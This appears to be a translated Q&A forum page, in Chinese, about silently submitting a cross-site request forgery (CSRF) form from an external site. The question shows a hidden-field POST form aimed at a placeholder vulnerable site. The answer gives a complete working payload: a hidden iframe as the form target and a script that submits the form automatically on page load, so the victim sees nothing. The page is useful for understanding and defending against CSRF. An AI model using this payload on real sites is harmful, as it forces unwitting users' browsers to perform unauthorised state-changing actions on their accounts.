静默提交POST表单(CSRF)的示例

aps*_*nce 25 security csrf

我很想知道如何在没有任何通知的情况下静默提交CSRF的POST表单(文档位置被重定向到POSTed URL不是静默的).

例:

<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>
Run Code Online (Sandbox Code Playgroud)

在外部站点上,我需要做什么才能自动且无声地触发此表单?

Gum*_*mbo 51

一种解决方案是在框架中打开表单的操作,如iframe:

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='criticaltoggle' value='true'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
Run Code Online (Sandbox Code Playgroud)